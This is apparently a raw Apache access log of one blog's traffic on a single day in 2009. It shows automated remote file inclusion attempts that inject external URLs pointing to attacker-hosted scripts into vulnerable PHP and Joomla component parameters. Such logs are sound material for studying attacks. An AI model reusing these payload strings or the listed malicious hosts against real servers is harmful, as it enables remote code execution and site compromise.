/2009/06/04/controlling-an-rfi-bot/?lang=http://www.boyworld.net/id.txt?? HTTP/1.1" 200 47162 "-" "Mozilla/3.0 (compatible; Indy Library)" 83.170.114.112 - - [19/Jun/2009:13:33:26 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 404 549 "-" "libwww-perl/5.808" 60.250.142.192 - - [19/Jun/2009:13:39:52 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://www.rosa10.com/lolid1.txt?? HTTP/1.1" 404 522 "-" "Mozilla/5.0" 60.250.142.192 - - [19/Jun/2009:13:39:52 -0600] "GET ///vwar/backup/errors.php?error=http://www.rosa10.com/lolid1.txt?? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 60.250.142.192 - - [19/Jun/2009:13:39:55 -0600] "GET ///vwar/backup/errors.php?error=http://www.rosa10.com/lolid1.txt?? HTTP/1.1" 404 33598 "-" "Mozilla/5.0" 62.3.32.28 - - [19/Jun/2009:13:40:02 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 404 586 "-" "libwww-perl/5.808" 62.3.32.28 - - [19/Jun/2009:13:40:02 -0600] "GET ///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 302 803 "-" "libwww-perl/5.808" 62.3.32.28 - - [19/Jun/2009:13:40:05 -0600] "GET ///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 404 34025 "-" "libwww-perl/5.808" 95.168.170.105 - - [19/Jun/2009:13:40:23 -0600] "GET /errors.php?error=http://www.thelegalnews.com/nav/r57/test.txt?? HTTP/1.1" 302 774 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)" 95.168.170.105 - - [19/Jun/2009:13:40:24 -0600] "GET /errors.php?error=http://www.thelegalnews.com/nav/r57/test.txt?? HTTP/1.1" 404 33608 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)" 217.29.159.130 - - [19/Jun/2009:13:44:17 -0600] "GET /errors.php?error=http://propertiesmalaysia.com.my/ugc_files/test.txt?? HTTP/1.1" 302 781 "-" "Mozilla/3.0 (OS/2; U)" 217.29.159.130 - - [19/Jun/2009:13:44:19 -0600] "GET /errors.php?error=http://propertiesmalaysia.com.my/ugc_files/test.txt?? HTTP/1.1" 404 33629 "-" "Mozilla/3.0 (OS/2; U)" 201.3.132.147 - - [19/Jun/2009:13:44:28 -0600] "GET ///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 302 803 "-" "libwww-perl/5.808" 201.3.132.147 - - [19/Jun/2009:13:44:37 -0600] "GET ///vwar/backup/errors.php?error=http://colegiopenacorada.com/xoops_lib/modules/v5id.txt?%0D?? HTTP/1.1" 404 33723 "-" "libwww-perl/5.808" 66.212.27.242 - - [19/Jun/2009:14:02:01 -0600] "GET /2009/06/04//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 793 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:01 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 761 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:01 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 816 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:01 -0600] "GET /2009/06/04//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 772 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:02 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 795 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:02 -0600] "GET /2009/06/04/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 36821 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:02 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111913 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:03 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47744 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:03 -0600] "GET /2009/06/04//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 793 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:03 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 761 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:04 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 816 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:04 -0600] "GET /2009/06/04//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 772 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:04 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 795 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:04 -0600] "GET /2009/06/04/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 36699 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:04 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111832 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:05 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47683 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:08 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 820 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:08 -0600] "GET /2009/06/04//index.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 797 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:08 -0600] "GET //index.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 765 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:08 -0600] "GET /2009/06/04//?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 776 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:08 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 799 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:08 -0600] "GET /?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 112067 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:09 -0600] "GET /2009/06/04/?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 36673 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:09 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 47733 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:10 -0600] "GET /2009/06/04//index.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 797 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:10 -0600] "GET //index.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 765 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:10 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 820 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:11 -0600] "GET /2009/06/04//?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 776 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:11 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 799 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:11 -0600] "GET /?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 111963 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:11 -0600] "GET /2009/06/04/?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 36665 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:11 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?proc=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 47683 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:14 -0600] "GET //index.php?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 740 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:14 -0600] "GET /2009/06/04//index.php?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 772 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:14 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 795 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:15 -0600] "GET /2009/06/04//?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 751 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:15 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 774 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:15 -0600] "GET /?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 112038 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:15 -0600] "GET /2009/06/04/?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 36672 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:02:16 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?proc=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 47766 "-" "libwww-perl/5.818" 60.250.142.192 - - [19/Jun/2009:14:03:24 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://www.rosa10.com/lolid1.txt?? HTTP/1.1" 404 522 "-" "Mozilla/5.0" 60.250.142.192 - - [19/Jun/2009:14:03:24 -0600] "GET ///vwar/backup/errors.php?error=http://www.rosa10.com/lolid1.txt?? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 60.250.142.192 - - [19/Jun/2009:14:03:27 -0600] "GET ///vwar/backup/errors.php?error=http://www.rosa10.com/lolid1.txt?? HTTP/1.1" 404 33597 "-" "Mozilla/5.0" 66.212.27.242 - - [19/Jun/2009:14:17:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 821 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:32 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 766 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 800 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 47645 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:33 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 112082 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 821 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:34 -0600] "GET //index.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 766 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 800 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:35 -0600] "GET /?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 111957 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 47703 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:39 -0600] "GET //index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 741 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 796 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 775 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:39 -0600] "GET /?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 112045 "-" "libwww-perl/5.818" 66.212.27.242 - - [19/Jun/2009:14:17:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 47559 "-" "libwww-perl/5.818" 110.45.144.106 - - [19/Jun/2009:14:27:08 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 534 "-" "Mozilla/5.0" 110.45.144.106 - - [19/Jun/2009:14:27:08 -0600] "GET ///vwar/backup/errors.php?error=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 302 788 "-" "Mozilla/5.0" 110.45.144.106 - - [19/Jun/2009:14:27:09 -0600] "GET ///vwar/backup/errors.php?error=http://shw.or.kr/bbs/bbs_public/06qa//id1.txt? HTTP/1.1" 404 33664 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:14:37:25 -0600] "GET /rfi.txt/errors.php?error=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 516 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:14:37:25 -0600] "GET /errors.php?error=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 302 770 "-" "Mozilla/5.0" 121.165.73.157 - - [19/Jun/2009:14:37:26 -0600] "GET /errors.php?error=http://www.kdinvestments.sk/data/id1.txt?? HTTP/1.1" 404 33585 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:14:48:55 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:14:48:55 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:14:48:55 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:14:48:55 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:14:48:56 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33764 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:14:48:56 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33764 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:15:05:55 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:15:05:55 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:15:05:56 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 565 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:15:05:56 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 302 819 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:15:05:56 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33764 "-" "Mozilla/5.0" 203.237.238.234 - - [19/Jun/2009:15:05:57 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://levraicyrano.fr/id1.txt? HTTP/1.1" 404 33764 "-" "Mozilla/5.0" 195.34.78.110 - - [19/Jun/2009:15:22:32 -0600] "GET //administrator/components/com_virtuemart/html/shop.browse.php?mosCOnfig_absolute_path=http://shanghaisisa.com/skin/rfi.txt??? HTTP/1.1" 302 836 "-" "libwww-perl/5.805" 195.34.78.110 - - [19/Jun/2009:15:22:33 -0600] "GET //administrator/components/com_virtuemart/html/shop.browse.php?mosCOnfig_absolute_path=http://shanghaisisa.com/skin/rfi.txt??? HTTP/1.1" 404 33852 "-" "libwww-perl/5.805" 195.34.78.110 - - [19/Jun/2009:15:33:12 -0600] "GET /rfi.txt//administrator/components/com_virtuemart/html/shop.browse.php?mosCOnfig_absolute_path=http://shanghaisisa.com/skin/rfi.txt??? HTTP/1.1" 404 582 "-" "libwww-perl/5.805" 213.207.40.25 - - [19/Jun/2009:15:45:29 -0600] "GET /index.php?sayfa=http://www.eyepro.net//assets/images/samp.txt?? HTTP/1.1" 302 730 "-" "Mozilla/3.0 (compatible; Indy Library)" 213.207.40.25 - - [19/Jun/2009:15:45:29 -0600] "GET /index.php?sayfa=http://www.eyepro.net//assets/images/samp.txt?? HTTP/1.1" 302 726 "-" "Mozilla/3.0 (compatible; Indy Library)" 91.149.157.130 - - [19/Jun/2009:16:23:31 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 404 562 "-" "Mozilla/5.0" 91.149.157.130 - - [19/Jun/2009:16:23:31 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 302 812 "-" "Mozilla/5.0" 91.149.157.130 - - [19/Jun/2009:16:23:33 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 404 33769 "-" "Mozilla/5.0" 200.49.175.157 - - [19/Jun/2009:16:45:38 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 559 "-" "Mozilla/5.0" 200.49.175.157 - - [19/Jun/2009:16:45:38 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 302 809 "-" "Mozilla/5.0" 200.49.175.157 - - [19/Jun/2009:16:45:39 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 33758 "-" "Mozilla/5.0" 200.49.175.157 - - [19/Jun/2009:16:46:20 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 559 "-" "Mozilla/5.0" 200.49.175.157 - - [19/Jun/2009:16:46:20 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 302 809 "-" "Mozilla/5.0" 200.49.175.157 - - [19/Jun/2009:16:46:21 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://barfod.no/modules/fx29id.txt?? HTTP/1.1" 404 33757 "-" "Mozilla/5.0" 91.121.11.159 - - [19/Jun/2009:17:12:37 -0600] "GET /rfi.txt//modules/vwar/admin/admin.php?vwar_root=http://r0xcrew.netsons.org/admin/ucci/nuovoscan/id.txt?%0D?? HTTP/1.1" 404 557 "-" "libwww-perl/5.813" 91.121.11.159 - - [19/Jun/2009:17:12:37 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://r0xcrew.netsons.org/admin/ucci/nuovoscan/id.txt?%0D?? HTTP/1.1" 302 811 "-" "libwww-perl/5.813" 91.121.11.159 - - [19/Jun/2009:17:12:38 -0600] "GET //modules/vwar/admin/admin.php?vwar_root=http://r0xcrew.netsons.org/admin/ucci/nuovoscan/id.txt?%0D?? HTTP/1.1" 404 33765 "-" "libwww-perl/5.813" 117.110.55.194 - - [19/Jun/2009:17:20:33 -0600] "GET /rfi.txt/myevent.php?myevent_path=http://r0xcrew.netsons.org/admin/ucci/nuovoscan/id.txt?%0D?? HTTP/1.1" 404 542 "-" "libwww-perl/5.803" 117.110.55.194 - - [19/Jun/2009:17:20:33 -0600] "GET /myevent.php?myevent_path=http://r0xcrew.netsons.org/admin/ucci/nuovoscan/id.txt?%0D?? HTTP/1.1" 302 796 "-" "libwww-perl/5.803" 117.110.55.194 - - [19/Jun/2009:17:20:34 -0600] "GET /myevent.php?myevent_path=http://r0xcrew.netsons.org/admin/ucci/nuovoscan/id.txt?%0D?? HTTP/1.1" 404 33707 "-" "libwww-perl/5.803" 77.221.130.17 - - [19/Jun/2009:18:03:46 -0600] "GET /index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 742 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:47 -0600] "GET /?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 110713 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:51 -0600] "GET /2009/06/04/index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 777 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 800 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:51 -0600] "GET /2009/index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 771 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:51 -0600] "GET /2009/06/index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 774 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:51 -0600] "GET /index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 746 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:52 -0600] "GET /2009/06/04/?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 36299 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:52 -0600] "GET /2009/06/?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 41824 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:52 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 46987 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:52 -0600] "GET /2009/?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 54837 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:03:52 -0600] "GET /?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 110676 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:04:21 -0600] "GET /%20%20/index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 769 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:04:22 -0600] "GET /%20%20/?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 110906 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:04:31 -0600] "GET /2009/06/04/controlling-an-rfi-bot%20%20/index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 302 806 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:04:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot%20%20/?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 200 47010 "-" "Mozilla/5.0" 77.221.130.17 - - [19/Jun/2009:18:12:58 -0600] "GET /rfi.txt/index.php?sayfa=http://omit.ru/yandex_628dc1f3167e2080.txt?? HTTP/1.1" 404 517 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:24:06 -0600] "GET //index.php?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 744 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:24:07 -0600] "GET /?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 200 111741 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:25:40 -0600] "GET //index.php?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 740 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:25:40 -0600] "GET /?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 200 111893 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:26:44 -0600] "GET /%20%20//index.php?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 768 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:26:45 -0600] "GET /%20%20//?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 751 "-" "Mozilla/5.0" 208.111.94.201 - - [19/Jun/2009:18:26:46 -0600] "GET /%20%20/?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 200 111577 "-" "Mozilla/5.0" 63.148.24.80 - - [19/Jun/2009:18:31:06 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.702com.net/images/702b/yes.txt??? HTTP/1.1" 302 817 "-" "libwww-perl/5.805" 63.148.24.80 - - [19/Jun/2009:18:31:07 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.702com.net/images/702b/yes.txt??? HTTP/1.1" 404 33836 "-" "libwww-perl/5.805" 63.148.24.80 - - [19/Jun/2009:18:32:55 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.702com.net/images/702b/yes.txt??? HTTP/1.1" 404 567 "-" "libwww-perl/5.805" 208.111.94.201 - - [19/Jun/2009:18:35:08 -0600] "GET /2009/06/04//index.php?sayfa=http://www.recanatini.it/ra/office1.jpg??? HTTP/1.1" 302 776 "-" "Mozilla/5.0" 